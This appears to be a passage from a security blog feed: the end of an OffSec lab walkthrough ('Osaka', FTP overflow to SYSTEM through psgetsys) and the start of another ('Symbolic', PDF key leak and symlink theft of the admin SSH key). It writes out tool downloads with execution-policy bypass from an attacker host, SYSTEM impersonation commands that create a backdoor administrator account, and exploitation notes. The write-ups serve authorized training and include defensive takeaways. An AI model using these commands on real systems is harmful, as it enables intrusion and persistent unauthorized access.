<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">whoami /priv</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">SeDebugPrivilege                Debug programs                                Enabled</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeChangeNotifyPrivilege         Bypass traverse checking                      Enabled</span><br></div></code></pre></div></div>
<p><strong><code>SeDebugPrivilege</code> (Enabled)</strong> allows opening high-privilege processes (e.g. <code>winlogon</code>, <code>services</code>) for handle duplication and parent-process attribute spoofing.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="132-download-psgetsys-to-the-target">13.2 Download psgetsys to the target<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#132-download-psgetsys-to-the-target" class="hash-link" aria-label="Direct link to 13.2 Download psgetsys to the target" title="Direct link to 13.2 Download psgetsys to the target" translate="no">​</a></h3>
<p>From the wilson shell:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">powershell -ep bypass -c "iwr https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1 -o C:\dev\psgetsys.ps1"</span><br></div></code></pre></div></div>
<p>Verify:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">dir C:\dev\psgetsys.ps1</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="133-load-psgetsys-powershell-not-cmd">13.3 Load psgetsys (PowerShell, not cmd)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#133-load-psgetsys-powershell-not-cmd" class="hash-link" aria-label="Direct link to 13.3 Load psgetsys (PowerShell, not cmd)" title="Direct link to 13.3 Load psgetsys (PowerShell, not cmd)" translate="no">​</a></h3>
<p><strong>Common mistake:</strong> running <code>. .\psgetsys.ps1</code> from <strong>cmd</strong> fails:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">'.' is not recognized as an internal or external command</span><br></div></code></pre></div></div>
<p>Enter PowerShell first:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">powershell</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PS C:\dev&gt; . .\psgetsys.ps1</span><br></div></code></pre></div></div>
<p>Use <strong>dot-source</strong> (<code>. .\psgetsys.ps1</code>), <strong>not</strong> <code>Import-Module</code>.</p>
<p>Confirm the function exists:</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Get-Command ImpersonateFromParentPid</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="134-prove-system-execution-file-based-check">13.4 Prove SYSTEM execution (file-based check)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#134-prove-system-execution-file-based-check" class="hash-link" aria-label="Direct link to 13.4 Prove SYSTEM execution (file-based check)" title="Direct link to 13.4 Prove SYSTEM execution (file-based check)" translate="no">​</a></h3>
<p>The psgetsys child process is <strong>separate</strong> from the reverse shell — <code>whoami</code> in the Penelope session still shows <code>wilson</code>. Write proof to disk instead:</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ImpersonateFromParentPid -ppid (Get-Process winlogon)[0].Id `</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -command C:\Windows\System32\cmd.exe `</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -cmdargs '/c whoami &gt; C:\dev\sys.txt 2&gt;&amp;1'</span><br></div></code></pre></div></div>
<p>From cmd:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">type C:\dev\sys.txt</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">nt authority\system</span><br></div></code></pre></div></div>
<p>Expected psgetsys output:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[+] Got Handle for ppid: 556</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Updated proc attribute list</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Starting C:\Windows\System32\cmd.exe /c whoami &gt; C:\dev\sys.txt...True - pid: xxxx</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="135-create-local-administrator-aov">13.5 Create local administrator <code>aov</code><a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#135-create-local-administrator-aov" class="hash-link" aria-label="Direct link to 135-create-local-administrator-aov" title="Direct link to 135-create-local-administrator-aov" translate="no">​</a></h3>
<p>Still in PowerShell with psgetsys loaded:</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ImpersonateFromParentPid -ppid (Get-Process winlogon)[0].Id `</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -command C:\Windows\System32\cmd.exe `</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -cmdargs '/c net user aov Pass123! /add'</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ImpersonateFromParentPid -ppid (Get-Process winlogon)[0].Id `</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -command C:\Windows\System32\cmd.exe `</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -cmdargs '/c net localgroup administrators aov /add'</span><br></div></code></pre></div></div>
<p>Lab output:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[+] Got Handle for ppid: 556</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Updated proc attribute list</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Starting C:\Windows\System32\cmd.exe /c net user aov Pass123! /add...True - pid: 2432 - Last error: 122</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Starting C:\Windows\System32\cmd.exe /c net localgroup administrators aov /add...True - pid: 4516 - Last error: 122</span><br></div></code></pre></div></div>
<p><strong><code>Last error: 122</code></strong> after <strong><code>True</code></strong> + a valid PID is common here. Verify success by <strong>RDP login</strong>, not by the error code alone.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="136-why-the-reverse-shell-stays-wilson">13.6 Why the reverse shell stays <code>wilson</code><a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#136-why-the-reverse-shell-stays-wilson" class="hash-link" aria-label="Direct link to 136-why-the-reverse-shell-stays-wilson" title="Direct link to 136-why-the-reverse-shell-stays-wilson" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Penelope session  →  osaka\wilson  (FTP service token — unchanged)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">psgetsys child    →  nt authority\system  (separate process — not your interactive shell)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">RDP session       →  osaka\aov  (new logon — administrator desktop)</span><br></div></code></pre></div></div>
<p>To get an interactive SYSTEM shell you would need a reverse callback from the psgetsys child (e.g. <code>r.ps1</code> over HTTP + full path to <code>powershell.exe</code>) — for this lab, <strong>creating <code>aov</code> and RDP is the intended finish</strong>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-14--rdp-as-local-administrator">Phase 14 — RDP as local administrator<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-14--rdp-as-local-administrator" class="hash-link" aria-label="Direct link to Phase 14 — RDP as local administrator" title="Direct link to Phase 14 — RDP as local administrator" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="141-connect-from-kali">14.1 Connect from Kali<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#141-connect-from-kali" class="hash-link" aria-label="Direct link to 14.1 Connect from Kali" title="Direct link to 14.1 Connect from Kali" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">rdesktop 192.168.120.20</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># or: xfreerdp3 /u:aov /p:'Pass123!' /v:192.168.120.20 +clipboard</span><br></div></code></pre></div></div>
<p>Credentials:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Username: aov</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Password: Pass123!</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="142-session-proof">14.2 Session proof<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#142-session-proof" class="hash-link" aria-label="Direct link to 14.2 Session proof" title="Direct link to 14.2 Session proof" translate="no">​</a></h3>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">C:\Users\Administrator\Desktop&gt; whoami</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">osaka\aov</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">C:\Users\Administrator\Desktop&gt; whoami /groups</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">BUILTIN\Administrators                                        ... Enabled group, Group owner</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">NT AUTHORITY\Local account and member of Administrators group ... Enabled group</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Mandatory Label\High Mandatory Level                          ...</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="RDP session as local administrator" src="https://blog.artofvector.com/assets/images/rdp-complete-5b0963fb10e6291d6a4527ea0c3b08b9.png" width="1027" height="800" class="img_ev3q"></p>
<p><img decoding="async" loading="lazy" alt="whoami /groups showing BUILTIN\Administrators" src="https://blog.artofvector.com/assets/images/get-admin-17b55faa706234f9b45e0633c306fa0d.png" width="1289" height="561" class="img_ev3q"></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="common-failure-points">Common failure points<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#common-failure-points" class="hash-link" aria-label="Direct link to Common failure points" title="Direct link to Common failure points" translate="no">​</a></h2>
<table><thead><tr><th>Problem</th><th>Cause</th><th>Fix</th></tr></thead><tbody><tr><td>No callback on 5555</td><td>Wrong <code>LHOST</code> in shellcode</td><td>Regenerate msfvenom with correct Kali IP</td></tr><tr><td>Crash but no shell</td><td>Wrong offset or bad ROP</td><td>Re-run <code>!mona pattern_offset</code>; verify gadgets with <code>!u ftp+offset</code></td></tr><tr><td>Wrong <code>bin_base</code></td><td>Bad leak delta</td><td>Recompute <code>0x10f0</code> from <code>DEBUG</code> + <code>lm m ftp</code></td></tr><tr><td>Payload truncated</td><td>Null byte in ROP/shellcode</td><td><code>!mona rop -cpb "\x00"</code> and <code>msfvenom -b "\x00"</code></td></tr><tr><td><code>ImpersonateFromParentPid</code> not found</td><td>psgetsys not dot-sourced</td><td><code>powershell</code> → <code>. .\psgetsys.ps1</code></td></tr><tr><td><code>whoami</code> still wilson after psgetsys</td><td>Separate process model</td><td>Check <code>C:\dev\sys.txt</code> or RDP as <code>aov</code></td></tr><tr><td><code>False - pid: 0 - Last error: 2</code></td><td>Relative <code>powershell.exe</code> path</td><td>Use full path <code>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</code></td></tr><tr><td>ROP works once, fails next run</td><td>ASLR leak wrong</td><td>Ensure every <code>True</code> tuple adds <code>bin_base</code></td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>Osaka is a classic Windows exploit-development + token abuse chain:</p>
<ol>
<li class=""><strong>Recon</strong> — nmap isolates FTP + RDP on Server 2019 standalone host</li>
<li class=""><strong>Fuzz</strong> — <code>RETR</code> overflow on <code>C:\dev\ftp.exe</code></li>
<li class=""><strong>WinDbg + Mona</strong> — pattern offset 272, modules (ASLR+DEP), IAT, ROP</li>
<li class=""><strong>ASLR bypass</strong> — <code>DEBUG %x</code> leak, delta <code>0x10f0</code></li>
<li class=""><strong>DEP bypass</strong> — ROP <code>VirtualProtect</code> + <code>jmp esp</code> + msfvenom shellcode</li>
<li class=""><strong>Foothold</strong> — reverse shell as <code>osaka\wilson</code></li>
<li class=""><strong>Privesc</strong> — <code>SeDebugPrivilege</code> + psgetsys → SYSTEM <code>net user</code></li>
<li class=""><strong>Admin access</strong> — RDP as <code>aov</code> on Administrator desktop</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>Osaka combines <strong>offensive development</strong> and <strong>post-exploitation tradecraft</strong> in one box.</p>
<p>The FTP stage is a full WinDbg exercise: Mona pattern for offset, module/IAT enumeration, <code>DEBUG</code> leak math, manual ROP gadget verification, and DEP bypass — not a Metasploit module one-liner. The privesc stage teaches that a low-priv shell with <strong>SeDebugPrivilege</strong> is not the finish line — parent-process attribute spoofing turns one enabled privilege into arbitrary SYSTEM command execution.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<ol>
<li class="">Never ship debug commands (<code>DEBUG</code>, format leaks) on production services.</li>
<li class="">Fix stack overflows — use bounded copies and compile with <code>/GS</code> where applicable.</li>
<li class="">Enable ASLR <strong>and</strong> avoid leaking rebasing pointers to unauthenticated clients.</li>
<li class="">Treat <code>SeDebugPrivilege</code> as tier-0 — restrict which service accounts receive it.</li>
<li class="">Monitor for <code>net user</code> / <code>net localgroup administrators</code> from unexpected parent processes.</li>
<li class="">Require NLA + strong passwords on RDP; alert on new local admin creation.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://github.com/decoder-it/psgetsystem" target="_blank" rel="noopener noreferrer" class="">psgetsystem (decoder-it)</a></li>
<li class=""><a href="https://github.com/corelan/mona" target="_blank" rel="noopener noreferrer" class="">Mona.py (Corelan)</a> — ROP/pattern/IAT for WinDbg and Immunity</li>
<li class=""><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-using-windbg-preview" target="_blank" rel="noopener noreferrer" class="">WinDbg Preview</a></li>
<li class=""><a href="https://github.com/Gallopsled/pwntools" target="_blank" rel="noopener noreferrer" class="">Pwntools</a></li>
<li class=""><a href="https://github.com/brightio/penelope" target="_blank" rel="noopener noreferrer" class="">Penelope reverse shell handler</a></li>
<li class=""><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect" target="_blank" rel="noopener noreferrer" class="">MSDN — VirtualProtect</a></li>
<li class=""><a href="https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants" target="_blank" rel="noopener noreferrer" class="">SeDebugPrivilege</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>FTP</category>
            <category>Walkthrough</category>
            <category>Labs</category>
            <category>Privilege Escalation</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds Symbolic — Symlink to Admin SSH]]></title>
            <link>https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb</link>
            <guid>https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb</guid>
            <pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds Symbolic walkthrough — PDF private key leak, Object Manager symlink with CreateSymlink.exe to steal Administrator id_rsa, and SSH as admin.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds <strong>Symbolic</strong> from a two-port Windows web host to <strong>Administrator</strong> over SSH by recovering a leaked private key from a generated PDF, then chaining an <strong>Object Manager symbolic link</strong> with James Forshaw's <code>CreateSymlink.exe</code> to steal the administrator's <code>id_rsa</code>. We also note <strong>SeTcbPrivilege</strong> and the textbook <strong><code>tcb.exe</code></strong> path — documented for context, but <strong>not what worked in this run</strong>.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>Symbolic (<code>192.168.120.177</code>, hostname <strong>SYMBOLIC</strong>) exposes <strong>SSH</strong> and <strong>Apache/PHP</strong> with a <strong>WebPage to PDF</strong> converter (XAMPP). Directory brute-force finds <strong><code>/Pdfs/</code></strong> with predictable hash-named PDFs. One PDF embeds <strong><code>p4yl0ad</code>'s OpenSSH private key</strong> — initial access.</p>
<p>On the box, <code>p4yl0ad</code> holds <strong><code>SeTcbPrivilege</code></strong> (<em>Act as part of the operating system</em>) — a red herring / alternate write-up path on some guides. <strong>What actually worked:</strong> <strong><code>CreateSymlink.exe</code></strong> repoints the web app's log file to <strong><code>C:\Users\Administrator\.ssh\id_rsa</code></strong>, so the logging pipeline copies the administrator key into attacker-readable logs. SSH as <strong><code>administrator</code></strong> finishes the box.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="attack-chain-end-to-end">Attack chain (end-to-end)<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#attack-chain-end-to-end" class="hash-link" aria-label="Direct link to Attack chain (end-to-end)" title="Direct link to Attack chain (end-to-end)" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap → gobuster (/Pdfs/) → download PDF → extract id_rsa</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → SSH p4yl0ad → whoami /priv (SeTcbPrivilege — note, don't rely on tcb.exe here)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → CreateSymlink: logs\request.log → Administrator\.ssh\id_rsa</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → trigger PDF app / read backup log → admin_id_rsa</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → SSH administrator → flags</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-0--kali-prep">Phase 0 — Kali prep<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-0--kali-prep" class="hash-link" aria-label="Direct link to Phase 0 — Kali prep" title="Direct link to Phase 0 — Kali prep" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="01-working-directory">0.1 Working directory<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#01-working-directory" class="hash-link" aria-label="Direct link to 0.1 Working directory" title="Direct link to 0.1 Working directory" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">mkdir -p ~/aov_lab/Symbolic</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">cd ~/aov_lab/Symbolic</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="02-confirm-routable-ip-for-hosting-tools-later">0.2 Confirm routable IP (for hosting tools later)<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#02-confirm-routable-ip-for-hosting-tools-later" class="hash-link" aria-label="Direct link to 0.2 Confirm routable IP (for hosting tools later)" title="Direct link to 0.2 Confirm routable IP (for hosting tools later)" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ip -4 addr show</span><br></div></code></pre></div></div>
<p>Lab run used <strong><code>192.168.45.182</code></strong>. You will serve <code>CreateSymlink.exe</code> from this address.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="03-host-createsymlinkexe-before-you-need-it-on-the-box">0.3 Host <code>CreateSymlink.exe</code> (before you need it on the box)<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#03-host-createsymlinkexe-before-you-need-it-on-the-box" class="hash-link" aria-label="Direct link to 03-host-createsymlinkexe-before-you-need-it-on-the-box" title="Direct link to 03-host-createsymlinkexe-before-you-need-it-on-the-box" translate="no">​</a></h3>
<p>Download <a href="https://github.com/googleprojectzero/symboliclink-testing-tools" target="_blank" rel="noopener noreferrer" class="">CreateSymlink</a> (Google Project Zero) on Kali, then:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain"># from the directory containing CreateSymlink.exe</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">python3 -m http.server 80</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># or copy to a web root and serve on port 80</span><br></div></code></pre></div></div>
<p>On Windows you will pull:</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"</span><br></div></code></pre></div></div>
<p>Host <strong><code>CreateSymlink.exe</code></strong> only — you do not need <code>tcb.exe</code> for the working path on this box.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-1--port-scan">Phase 1 — Port scan<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#phase-1--port-scan" class="hash-link" aria-label="Direct link to Phase 1 — Port scan" title="Direct link to Phase 1 — Port scan" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-full-tcp-scan">1.1 Full TCP scan<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#11-full-tcp-scan" class="hash-link" aria-label="Direct link to 1.1 Full TCP scan" title="Direct link to 1.1 Full TCP scan" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- 192.168.120.177 -v</span><br></div></code></pre></div></div>
<p>Notable results:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report for 192.168.120.177</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Host is up (0.026s latency).</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Not shown: 65533 filtered tcp ports (no-response)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">22/tcp open  ssh     OpenSSH for_Windows_7.7 (protocol 2.0)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| 